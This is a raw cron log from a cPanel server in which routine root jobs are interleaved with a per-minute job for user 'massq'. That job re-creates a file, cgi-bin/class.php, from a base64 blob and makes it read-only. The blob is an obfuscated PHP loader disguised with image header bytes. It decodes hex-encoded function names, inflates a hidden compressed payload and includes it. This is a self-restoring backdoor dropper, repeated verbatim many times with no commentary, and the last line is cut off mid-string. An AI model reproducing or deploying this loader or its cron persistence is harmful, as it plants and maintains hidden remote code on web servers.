Sep 10 06:33:01 server CROND[20651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:34:01 server CROND[21066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:34:01 server CROND[21067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:34:01 server CROND[21068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:35:01 server CROND[21510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:35:01 server CROND[21512]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 06:35:01 server CROND[21516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:35:01 server CROND[21513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:35:01 server CROND[21515]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 06:35:01 server CROND[21518]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 06:35:01 server CROND[21521]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 06:35:01 server CROND[21514]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:35:01 server CROND[21520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:36:01 server CROND[22363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:36:01 server CROND[22365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:36:01 server CROND[22364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:37:01 server CROND[22968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:37:01 server CROND[22969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:37:01 server CROND[22970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:38:01 server CROND[23373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:38:01 server CROND[23374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:38:01 server CROND[23375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:39:01 server CROND[23749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:39:01 server CROND[23750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:39:01 server CROND[23751]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 06:39:01 server CROND[23753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:40:01 server CROND[24137]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 06:40:01 server CROND[24139]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 06:40:01 server CROND[24140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:40:01 server CROND[24138]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 06:40:01 server CROND[24141]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:40:01 server CROND[24142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:40:01 server CROND[24144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:40:01 server CROND[24149]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:41:01 server CROND[24961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:41:01 server CROND[24963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:41:01 server CROND[24962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:42:01 server CROND[25429]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 06:42:01 server CROND[25432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:42:01 server CROND[25433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:42:01 server CROND[25431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:43:01 server CROND[25806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:43:01 server CROND[25807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:43:01 server CROND[25808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:44:01 server CROND[26190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:44:01 server CROND[26191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:44:01 server CROND[26192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:45:01 server CROND[26575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:45:01 server CROND[26578]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 06:45:01 server CROND[26582]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 06:45:01 server CROND[26581]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:45:01 server CROND[26580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:45:01 server CROND[26579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:45:01 server CROND[26577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuy